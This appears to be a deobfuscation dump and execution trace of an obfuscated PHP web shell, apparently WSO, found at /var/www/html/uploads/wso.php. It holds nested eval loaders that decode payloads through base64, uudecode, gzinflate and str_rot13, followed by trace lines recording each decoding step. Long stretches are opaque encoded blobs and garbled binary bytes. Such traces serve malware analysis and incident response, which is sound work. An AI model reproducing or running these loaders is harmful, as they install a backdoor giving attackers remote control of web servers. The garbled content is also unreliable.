YuL001XVovRyZYM1JDPkZDI1wxPDNQMDJTWFsmX0w5KF4iVTFNNlFOJVhPXFBOJSdcT1gKTUxOQTdKJ1NUJ0NZJVhWLF40OUFPOyFfJlgqTU5PJlI6RFNYLy45XkFXWF9aPCVNL1dfR1RfR09cJj5gWwpNUU81N18tODReMT9MMVgnXSk/KSctTVYvPVhHPyI7WzokPyMxQ0pDJz41P186NCg/S185WUJXQDtfLydICk0vXFkkNTROXExCTz8wPz1bWU84KF5TIUU3RVdRR0U+Qj0tLCFSOjw9JSNVWUBXVyUvTTQzUThfTzpDWyEKTUgvQzo2JSosWV5ONk1IW11CWV4wNUk+WTNfOz1SPEhbX0hTXEhaSC86IlVeNEozNSkzV09EPClHNzQ7OgpNWllHTFRcNEsyN18wP11BTyZYNUdCJ0dbKV9dMjwvVTpAL1w8XDtNWFUyMl9eLzdeSEFfLl1BO1xbL1dPCk1aXTcjRTdeWk9HWUMvWFsqT11fUk9cWlE3W0IrRFojRSNZI1wxMVRePDpeX1pSVDNXQ10jL1JCWj1ZW14KTT41JD8zMj4/K18xXFMuWFxURVowXzc7PjE6KFFXUj9HKlk5TlBPWUFfSENSUl09TFhHVT9EMF8pJE1ATwpNNl46X15UI1okWEg3NktRPkg9RT9QUko+IVo3R1FWLkdZR0ctIk9MWERFXEFJLj8nX0gzUj9XUl9aRz5UCk1dVC8mIVkqP1cmR0NMU18mTVMnLz9bUz9RKz86VTdbRlpgPz9MPl9UJyNRSUNfJVs4TiMhU102XFJKX0wKTU48W1xCWC4uO1BST1xfNFc/IihfNzxfUUE0X1EpPyhNWylfODBOQS85Il1XOSZeUCxcR1pNIiVbJVRRRApNTycnNSNdMz9SJVk1TTxPXllfXjY5Xlo3QDVdQSZSMUdXOVdQTykvLE9ZM15IM1kiXjQrNVVPPV4lNl0yCk0/I0dfXidGUjdcKVhGWUA3QC9dV1lMRidcXV8xI14hJUtXQj8hV1FMXkZBTTw7UlE2Vyk/UlFNKV9LVksKTT8tXTxPWz5PP19fVj48Iz4sQVteRF1SPy8jUig6P0syXltWPjdWVy8yXygvWSVeX00qXk8qTyI3VS5GSgpNVEMlXz9MOVxRLFdTVjcuXSVfJExcL1pWSDAjXmBOTydSOy1YV08lSTY9MFteKDw4XTxQJF06P0FBLyYqCk1eT05UMjYkSl8nS1kvKjghR0lfRCJbMy45VVwsLzE0P0hPXDpUPV5TNSlAM1oiTj0vVVktPidbS0YiPFEKTV4lWDxYLy1aRSVfLi4/WjdfO0E2T0smP0MnQDJfMVs+OVsrWDtRVVg2JzJfQDJfO1wwVEI3RVpJXiVTTQpNSlBcSEdMO1VIUUFYOiknIiFZUFQ+Sk4vNzNdQEZBWEJSNz4nPk4pYFg2N1JfJT9HR1xIOF8hQSlSUj80Ck1YQF9CPk4iNVIvLStPQytSJVNVW1dcNT8jWjNfKTtaL10pR0JJVTNBNjVBMjdMIUctKFRHUCotNVw/UU0KTT9cSzg9T0RFRzdcO1JPS1o1N1lDRyxeMz4uXCJeL0VSX0ozLVFWX0dTWjFdIjEkL1srUytDP1RNPE5RVwpNTzwkPytMRT9UT1ddRSIzVSQ/LydEKV5cKklVSERHLV4wU0YpWkheVz8hVFpdRzxRX1RLVlUrREM7VCZDCk1cK10vOSxeNkolX1JPR01PJ1EzVSUvMSNGLl1CUy9WSSVCX1JSR1xOXjM/Wz4kTiw5VEdaJTQtTUA1TCkKTT44OlwwJ1g1X047OTk/RF4tTiIjU0YyXUVOL0VXXyYjNz9FMjU/Uy1eXTM7YF44KShDVyNfOVU9XFJePgpNU1lOM09QPT8kPjozLiNfIj8qW0IjW14vU1IuTl4yI11fSD4oXztHTFNcNTM+Wzo5WUBXUDxZOls8QlBICk0/RDFfKEEqWkQyNkVMOEZYX0pbLkVfVjJPWk49KVZHU1A1Oj8uR1MsV14oQzI/V0pcRSQ7PlFHSTgpNzQKTShYRSdQPj9fJFNYRlpCTF9WOTw7P0ZaSzMmIl9VUTFfMjtSM0daXkdfJFM2O1QyI185XDdUS1wnTjJcKApNPysjMjo/T009KVhPT11EX09cNEtPTjU7MUtZWDFDUlpDKCtbXEVBTFJeNkVJYCNfTjAkXig/SDFFIl89Ck1MN19gJVshK0tIXUEhQD9TKFEoX0NLKSheT1BYM11gP1hPVz9KMFReUyRLLS5YO01aVyteQV8nPD4/WmAKTVdFXkY1SDlaLj9CIUlOQ19UTj4+UEZJSDklJUxZKDk9QV0vTEMnSENeR0Y0OFxHWUkzQ0ZTXF44M1A7VwpNLFY4XiJfS14sXDVbK1dFIltYX1MzX0ZARy0mW1NJMC9GNURSMy0/VC1WKztNNSY/VUVJLl1KNVw6PyY1Ck0hL0U7XkdWK0YuPCkpJVhfU149Slw5Q0JbOkY7Iyw+O1ktRCwhTC1aT0BBLDgvIjBPKFhSSFIhXVUkXysKTUhPUlQyPSFfXSVKXlNBQ1NXTiJTIS9cIVZUTywzSSleQDFdU04+PV1MLDVGR10+NCdYUEknXzMoU0lRXApNWUQ+LVU7UzVKI18/V1dYPllIJj9RLVlDTylANlNbXFs/XTYvM1tPNyo3XVUzWU8qJ1dYLUdfX1NfLzBYCk1IV18/WStcMVkwR1Y4Pzo0Xz9PSzJfOyNMM1o/Nz9IN083XEtITE9IOlcxWS8sXj5ASl9YO1c/XF4oSzcKTVw/XzxJVywxOjczTUYlWz8vPT0/X0ciLT8vVDFfVFc3XEc/V1NPIyhVWzc/QT5eR1pQWFdXUSQ2XTJQWgopXy5dPz9fV1VXW1whCmAK";
@eval /* PHPDeobfuscator eval output */ {
$x0kRz = "ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2CJI1KtyPdXVhDOncivCh8zpRfcqRzGRJfMG6dOFfg7sEJ7qWXe+X5pHSLSE+WTjKzI33cEV8VIi2DjizpLmN8sEPnc8A2A7eRDUZ26NFZbBXH76tQ9cbrF4Bj5CD6ooKeSXDCCIxId1/G+nTGl7DoMzBPpJupwPq8wX5NfJWdMjfwUR00+dAISX2iIHyToGrns0fE9t4IzmQwSsKMG1ePJo6qFeJ+fZi+GKhzsN2kEJqpJMypPpHyjnTXd9nIjwrIN9CM6jBQ3c/cuB2zRxD1QFoj0i1kwr2yMnKNQDmaDSxI9wFf8xGDw3bMmKlKwNnan57Iw7lk6BXXUQ4nQX53pHVYeYPrREYrIP9tmKwGt1S2izLHBwXNWfe9stgoxIccpox8j/QgCsJldsTbAkKHI+4VVA+YUGUxzHDkU4n6VY36xUK4MbbXhTeiGN3jEwbyG4MUYZaRn4WvZsWZA9B9zbJaMfIJ5MTa7oZcTeVI/BMdEFmnAv9XCRkVXj0C8HsDLBTxRil631Ko5RrOfdK2SoSoPJjn3LdNRjgXel16o6jOL9TXzAXeyoZ8SnpHc2aiWPheBoxIxwTdYnSCNaR7Igd2SziOo3Glpf4ivqXYLGVCbwZoPoHRRUz8YL+2UEXUr0dFrYaUN7fVQxaztvRq6Ub5ld7JWXeTgm4VYFeG3Skf0wmi7qi2X2Vi1AoWkyfBjpp132RcRc7XE+T17/mkbE0dsvgzr6jE+SHt13HX5K5mOiw5zam99NOmuuDM+VyWDsfBcOpNFtUr2M00tAfN9U068IF0Mx3fD9XPNekmv0xKc2NxmRuQfks9za0YX9de/8QJWwZVW3vJ+93FQpRYNRAfDz/n3heFWf1k6/M6Lw9nfseJ/M1vJuwfXdnqF46FofQZv+QVbV4tjp/efnzn2bAJn95uo+nttp//s41m821/N6f1jP4n22g+3fYz2p+f1/Sj9SU2v6Wzd7/WlOnwOxOhphGdPmecbefz7a8c0+ll53/Yv/7+8aV58/7Nlc37a6r37y5frA8fPnz8Dw==";
@eval /* PHPDeobfuscator eval output */ {
$y01Zx = "TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6VFkmNUdJNjBEUTM6JUk0NTRVWDVVLUc9VFEjMjMhNjE2PVA1Q2BVM0RcUDREVTE6Nk1QMkQ1SwpNPCU9SywjKTUsJTVZMlU1SyxUVSUsNEUuOkYxRjQmTTo1VT1aNkQ5MTVFRFU1RlExPCQtSywjPTAxJTRXCk00Nk0xKlUxWTwkNS40VyEzNiQwVTlFMFEtNTkqMTNgVjJGUUs8RFE0MkRNMT5ERVgzRC1YOUUhWi4mRTgKTSw2LFQ0NDk6MSU1NjVEUTg7JzEoNTdEUTQ0UTMyNlU5MTVESzJGTFgyVTE1M0RFMDEjNSM1VlFUMzRZTApNPiUpKzUkVUszJ0RYPTU5WjtXMSw6M0UjNEQ1KTtFJVowRFUyOjRUWDM1OTo2JSk2OyVBNSw1JVEyNTlXCk08NSUlNUU9KT40NVM1QyFLOjRJSzU3LTkwUzUhNTY9UDNEUUk5UzE4MUQpNzQmSTk+RSxQLjRFLzVGXUkKTTUkMFk5JFEjLjY5LjRUWTEyNlBYO0U1STM2SSw+REVIMzU5WDQkUU0wNkErNFM1LjNGTTE8RT0kLCZNNgpNMFNBWTVVLUssNFk1PiRdKjslJU0wVkxQPjRNNDkmKTE0VkEsMlNgVDxVQFA2N0kuPkU1UzU2UVAzVF0lCk02My03PjREUzRVPSE6NFEjPFZBMDUlKTA0RTRQLCU5WThWSTY1JUkoNVZMUDxVKSY9JC0sPjNBVzMnSUwKTTUlITQsNTUwPkctKzI2UUQwNUUnMDRNOTA2XF0oQ0wqMCY1Vjg2UEgpJ0BQNEdBNSgjVEApJ0BQNEdBMQpNKiIxWCwlKVg0QkBEPiMhMj4lYEgpJ0RQNEdJIyoyREkqM01gOTc5QTsiQEQ+IyEyPkU0QC8yYEQ+IyEyCk0+RSRIKSdAUDRHSTIqIjFYLCUpWjQiQEQ+IyFSPkNgSSoyREkuVCFFPUYlTCoiMVgsJSlaNUJgXSgiMVgKPiwlKVo2MkBEPiMhMj5FSEgpJ0BQNEdJOCoiMVgsJ0kyPjJESSoyRFsKYAo=";
$j0yZk = "convert_uudecode";
$i0yZk = "base64_decode";
@eval /* PHPDeobfuscator eval output */ {
$x0RxP = "base64_decode";
$x0RxQ = "gzinflate";
$x0RxR = "convert_uudecode";
$y0RzC = "TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQzBMRiM8MVZXRVlXU1QqIVwqQEVWIyEsV0kiJkUsYC5AUgpNLig4XFBWPjYzS09IOVoiTD9dLC9fNSNQIl8nUiMjLzIhMVxPLmAhKS5NNkQrWD0kVC8yWSk1NUxOJlQmCk0yKTdbQShLK04sX0YzNzUsUlpOOEY3WyI3SWAiLCshPTRPRU00VycjVTZHWk0sRFtCLy8wLzlTPT1UPzsKIldAYGAKYAo=";
@eval($x0RxU = "\$x0RzP=\"\\x62\\141\\x73\\x65\\66\\64\\x5f\\x64\\145\\x63\\157\\x64\\145\";\$x0RzQ=\"\\x67\\172\\151\\x6e\\146\\x6c\\141\\x74\\145\";\$x0RzR=\"\\143\\x6f\\156\\166\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145\";\$x0rz0=\"TT04VFsjSGBQIyQvTzRPNGBBLjhTKCJbISEiQEtHIidCXStBNSpbJFA2JEhML1NPJ00jV1tGSVFYQUxDIwpNQkg+KkpbSlJBXVFQJjEqWFE0RUxfJkcpRTNUOiJdP2AiV0JdXCJNTltHVz9dLUcyTzQ+MFBEU00pQDRdCihdS2A+NU89Xj1FXGAKYAo=\";");
@eval($x0RzU = $x0RzQ($x0RzR($x0RzP($x0rz0))));
@eval($x0RzV = $x0RzY($x0RzZ($x0RzX($x0zRy))));
};
};
};
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:20:20.399420]
1 0 1 0.000208 393512
1 3 0 0.000830 491040 {main} 1 /var/www/html/uploads/wso.php 0 0
1 A /var/www/html/uploads/wso.php 3 $i1i = '========================================================================\r\n\tObfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator\r\n\t\t\t\thttp://www.ud64.com/\r\n=============================================================================='
1 A /var/www/html/uploads/wso.php 9 $uD64_c0m = 'str_rot13'
1 A /var/www/html/uploads/wso.php 9 $uD64_Com = 'gzinflate'
1 A /var/www/html/uploads/wso.php 9 $uD64_C0m = 'base64_decode'
2 4 0 0.000906 491040 str_rot13 0 /var/www/html/uploads/wso.php 9 1 'YS3Wrdf4g32tQPjyqtJTAx1P36uOrWnNT0PWsJWvN09/y/YsDK1IyKAvV2ai1nPgYF6oh+D3F3H3F4eti8uiZ8KgWBhhGvdYFHcieOolJme+tqRkX+MkS3KcYh5exaGAaQyymWkxvie1YJVym07KyYUuv4aYKryAXJo7eJG6WSmdffIBZmcTxguMEX5+ZD//XroiORz+D/dLlgy6vxy4IZGFBJxYkrlQph13M6Q42sHLm5ggGCRmnE8woz2djG5JzejXii4h5Bxck88mk+MFe+9uU7kJf3yzdEDeZ9zAXh9bJLe9Ch+nvRilyZ1wUrO3Fgd2zMih+Hmhfe9+Xd/+xaEg5oG9lOq6wAaLXgr6Z88+dzUPf9OH0H2GHmgAqYPX8EafpH3koW/IwTrolL2YdIRYJFx6MMW7Y3mO73nSeoe1e6P2d6wq4ipCXorzxw5r1JO9I0A7ICBVmms/1UrZ+mCfJc7FwL+/a+F+srGm/vwzMBXZ4if2InH377SUZ+60'
2 4 1 0.001031 585280
2 4 R 'LF3Jeqs4t32gDCwldgWGNk1C36hBeJaAG0CJfWJiA09/l/LfQX1VlXNiI2nv1aCtLS6bu+Q3S3U3S4rgv8hvM8XtJOuuTiqLSUpvrBbyWzr+gdExK+ZxF3XpLu5rknTNnDllzJxkivr1LWIlz07XlLHhi4nLXelNKWb7rWT6JFzqssVOMzpGkthZRK5+MQ//KebvBEm+Q/qYytl6ikl4VMTSOWkLxeyDcu13Z6D42fUYz5ttTPEzaR8jbm2qwT5WmrwKvv4u5Okpx88zx+ZSr+9hH7xWs3lmqRQrM9mNKu9oWYr9Pu+aiEvylM1jHeB3Stq2mZvu+Uzusr9+Kq/+knRt5bT9yBd6jNnYKte6M88+qmHCs9BU0U2TUztNdLCK8RnscU3xbJ/VjGebyY2LqVELWSk6ZZJ7L3zB73aFrbr1r6C2q6jd4vcPKbemkj5e1WB9V0N7VPOIzzf/1HeM+zPsWp7SjY+/n+S+feTz/ijmZOKM4vs2VaU377FHM+60'
2 5 0 0.001116 585248 base64_decode 0 /var/www/html/uploads/wso.php 9 1 'LF3Jeqs4t32gDCwldgWGNk1C36hBeJaAG0CJfWJiA09/l/LfQX1VlXNiI2nv1aCtLS6bu+Q3S3U3S4rgv8hvM8XtJOuuTiqLSUpvrBbyWzr+gdExK+ZxF3XpLu5rknTNnDllzJxkivr1LWIlz07XlLHhi4nLXelNKWb7rWT6JFzqssVOMzpGkthZRK5+MQ//KebvBEm+Q/qYytl6ikl4VMTSOWkLxeyDcu13Z6D42fUYz5ttTPEzaR8jbm2qwT5WmrwKvv4u5Okpx88zx+ZSr+9hH7xWs3lmqRQrM9mNKu9oWYr9Pu+aiEvylM1jHeB3Stq2mZvu+Uzusr9+Kq/+knRt5bT9yBd6jNnYKte6M88+qmHCs9BU0U2TUztNdLCK8RnscU3xbJ/VjGebyY2LqVELWSk6ZZJ7L3zB73aFrbr1r6C2q6jd4vcPKbemkj5e1WB9V0N7VPOIzzf/1HeM+zPsWp7SjY+/n+S+feTz/ijmZOKM4vs2VaU377FHM+60'
2 5 1 0.001408 679488
2 5 R ',]�z�8�}�\f,%v\005�6MBߨAx��\033@�}bb\003O���A}U�sb#i�ՠ�-.���7Ku7K���o3��$�N*�IJo�\026�[:���1+�q\027u�.�k�t͜9e̜d���-b%�Nה�ዉ�]�M)f��d�$\\��N3:F��YD�~1\017�)��\004I�C����z�IxT��9i\v��r�wg���\030ϛmL�3i\037#nm��>V��\n��.��)��3��R��a\037�V�yf�\024+3ٍ*�hY��>K��c\035�wJڶ���L~*���tm��\027z���*3�>�a³�T�M�S;Mt���\031�qM�l�Ռg�ɍ��Q\vY):e�{/|��v�����������\017)���>^�`}WC{T��7��w��3�Z�ҍ����}��(�d��6U�7�G3�l����w\v�\v���-�l��T��BJ0�����M\017!����\025\032o>\037\002I\023�Y�r\a�'
2 6 0 0.002601 585248 gzinflate 0 /var/www/html/uploads/wso.php 9 1 ',]�z�8�}�\f,%v\005�6MBߨAx��\033@�}bb\003O���A}U�sb#i�ՠ�-.���7Ku7K���o3��$�N*�IJo�\026�[:���1+�q\027u�.�k�t͜9e̜d���-b%�Nה�ዉ�]�M)f��d�$\\��N3:F��YD�~1\017�)��\004I�C����z�IxT��9i\v��r�wg���\030ϛmL�3i\037#nm��>V��\n��.��)��3��R��a\037�V�yf�\024+3ٍ*�hY��>K��c\035�wJڶ���L~*���tm��\027z���*3�>�a³�T�M�S;Mt���\031�qM�l�Ռg�ɍ��Q\vY):e�{/|��v�����������\017)���>^�`}WC{T��7��w��3�Z�ҍ����}��(�d��6U�7�G3�l����w\v�\v���-�l��T��BJ0�����M\017!����\025\032o>\037\002I\023�Y�r\a�'
2 6 1 0.004203 683584
2 6 R 'TVcvVTs8Xis8VUI6KFdOXT9MOipCNVQxVVEtWz0uRCFeS1tOQytBKiNBLjY0MicyOCRLSCMxKj4sKSRTOgpNSSkmSUovXl5RUy9GRSlgUD1DSz9NO1tKV09OK0pFQyk6XSFBU0MnJ1wxRy8+L0JfX08lP0dQXS9eXD9HCk1fX0pfLy5AL19eXV9fKT85Wk9fWl07UT4nQVg+PV9fOC9TVl4vJjI7WyFeS1VXXSROVitXPi1RRUZZPicKTV0+OytYIV9fR1ddODNZTy0vVjpbXEYmV148P1daPz1fLStdXD8vSE9fXkxfX01NX15cP19NMlI/LV9fSwpNL19bWy9fKy0sTUxcXz0/X1xOVTE3Tz9fXiQ9Xi4uU19DX19dP19eNT8xR1w7Xk8nWkdfXytfX0tfX0YvCk1bJidTN15FX19MPF9fTyZfUyMxTS1NL15WWl5HLE1OTCdbLy0/X1RPX19QUlQ/X1knVV9fXjw3WElWJ10KTVxcT1hHVV9UWDNe'
1 A /var/www/html/uploads/wso.php 9 $x0zRy = 'TVcvVTs8Xis8VUI6KFdOXT9MOipCNVQxVVEtWz0uRCFeS1tOQytBKiNBLjY0MicyOCRLSCMxKj4sKSRTOgpNSSkmSUovXl5RUy9GRSlgUD1DSz9NO1tKV09OK0pFQyk6XSFBU0MnJ1wxRy8+L0JfX08lP0dQXS9eXD9HCk1fX0pfLy5AL19eXV9fKT85Wk9fWl07UT4nQVg+PV9fOC9TVl4vJjI7WyFeS1VXXSROVitXPi1RRUZZPicKTV0+OytYIV9fR1ddODNZTy0vVjpbXEYmV148P1daPz1fLStdXD8vSE9fXkxfX01NX15cP19NMlI/LV9fSwpNL19bWy9fKy0sTUxcXz0/X1xOVTE3Tz9fXiQ9Xi4uU19DX19dP19eNT8xR1w7Xk8nWkdfXytfX0tfX0YvCk1bJidTN15FX19MPF9fTyZfUyMxTS1NL15WWl5HLE1OTCdbLy0/X1RPX19QUlQ/X1knVV9fXjw3WElWJ10KTVxcT1hHVV9UWDNe'
2 7 0 0.004380 589344 str_rot13 0 /var/www/html/uploads/wso.php 9 1 '$k0xEm="MIKoogf4RC2IbhuQv7kDwh0xXNdfYMTcYdESpbnBQY8Hmd5fHdaGyIgqia7Uqv8C+2NL5CNZm5xmUY0oJYGcC70ST75dfJPT8n4L09plzsdIFT/GjJPEBYBBVlvth0aUiIBQaQd/b7v+mqwFesNFGlE0eElKSU9rhCcISpWcgTjfemtxKUNkT3YEiuWBX/68yCM+lX/kc0g86NHXscVQ3cpUBGBj85aDW+ARSDq2Ztq2KlFlD9tE390cp0gGJZa0LJnyd9iZAcKvPeJ/4ScUhNXeJEy3bkYIJp+6jNfie6QYNnn+iBcpS/nft01JSk37dj6dQ7e6cRq+hqqq7d0bY90Y8hSnW32gR6GUqsrdpiiZZGTseMH/5PRjMqKPWr6mpsYx6A7ltR3hwpippMVkoNchAzfVGD58oud+y2TwcB0nnoSGQo6F7eavbISB7yCYNz0mj3TDfBgKxRoFuwgQqInjnjes+gGgEuK6QrRsZduhQpv5jsOQ2L2P'
2 7 1 0.004414 591168
2 7 R '$x0kRz="ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2C'
2 8 0 0.004467 594096 eval 1 '$x0kRz="ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2CJI1KtyPdXVhDOncivCh8zpRfcqRzGRJfMG6dOFfg7sEJ7qWXe+X5pHSLSE+WTjKzI33cEV8VIi2DjizpLmN8sEPnc8A2A7eRDUZ26NFZbBXH76tQ9cbrF4Bj5CD6ooKeSXDCCIxId1/G+nTGl7DoMzBPpJupwPq8wX5NfJWdMjfwUR00+dAISX2iIHyToGrns0fE9t4IzmQwSsKMG1ePJo6qFeJ+fZi+GKhzsN2kEJqpJMypPpHyjnTXd9nIjwrIN9CM6jBQ3c/cuB2zRxD1QFoj0i1kwr2yMnKNQDmaDSxI9wFf8xGDw3bMmKlKwNnan57Iw7lk6BXXUQ4nQX53pHVYeYPrREYrIP9tmKwGt1S2izLHBwXNWfe9stgoxIccpox8j/QgCsJldsTbAkKHI+4VVA+YUGUxzHDkU4n6VY36xUK4MbbXhTeiGN3jEwbyG4MUYZaRn4WvZsWZA9B9zbJaMfIJ5MTa7oZcTeVI/BMdEFmnAv9XCRkVXj0C8HsDLBTxRil631Ko5RrOfdK2SoSoPJjn3LdNRjgXel16o6jOL9TXzAXeyoZ8SnpHc2aiWPheBoxIxwTdYnSCNaR7Igd2SziOo3Glpf4ivqXYLGVCbwZoPoHRRUz8YL+2UEXUr0dFrYaUN7fVQxaztvRq6Ub5ld7JWXeTgm4VYFeG3Skf0wmi7qi2X2Vi1AoWkyfBjpp132RcRc7XE+T17/mkbE0dsvgzr6jE+SHt13HX5K5mOiw5zam99NOmuuDM+VyWDsfBcOpNFtUr2M00tAfN9U068IF0Mx3fD9XPNekmv0xKc2NxmRuQfks9za0YX9de/8QJWwZVW3vJ+93FQpRYNRAfDz/n3heFWf1k6/M6Lw9nfseJ/M1vJuwfXdnqF46FofQZv+QVbV4tjp/efnzn2bAJn95uo+nttp//s41m821/N6f1jP4n22g+3fYz2p+f1/Sj9SU2v6Wzd7/WlOnwOxOhphGdPmecbefz7a8c0+ll53/Yv/7+8aV58/7Nlc37a6r37y5frA8fPnz8Dw==";@eval(gzinflate(base64_decode($x0kRz)));' /var/www/html/uploads/wso.php 9 0
2 A /var/www/html/uploads/wso.php(9) : eval()'d code 1 $x0kRz = 'ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2CJI1KtyPd'
3 9 0 0.004555 594096 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code 1 1 'ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2CJI1KtyPd'
3 9 1 0.004584 595920
3 9 R 'eU�n�8\020����C��P��$(\n�-��.�Er��\f�\024ήlR�ӕ[]�~�v/\017�`\030��\fϙ3\034�\033X��?�\005\033�j�`��\030��2���Ho�`�8��#(��IǽS��:������ҭ�\022O$t�\034�\024^��U\025�i�l,�8$\\p1\033rѾ\022N+����~ȯ�K|�\005\n~�\003ޗ\a93���\'�D\025\av2\av_$�C�\021��)sKSX��af����6��\n���ZG�\002�Y\031w�\022�YϺ�\v/���\001����\\\027���MV\027\035��\016�\017���G~��]�(/�\v��Z\'}�\023��u��r��11���?�!0e��%�q�����M���q�1l\nn6k\bM\016|n\032��a���\032i�S\r����QN�S�\002m3�q���W�F҆;CuV�k\n���F\025�\r�\0372�n\rȹ��Cٍ�$�J�#�]XC'
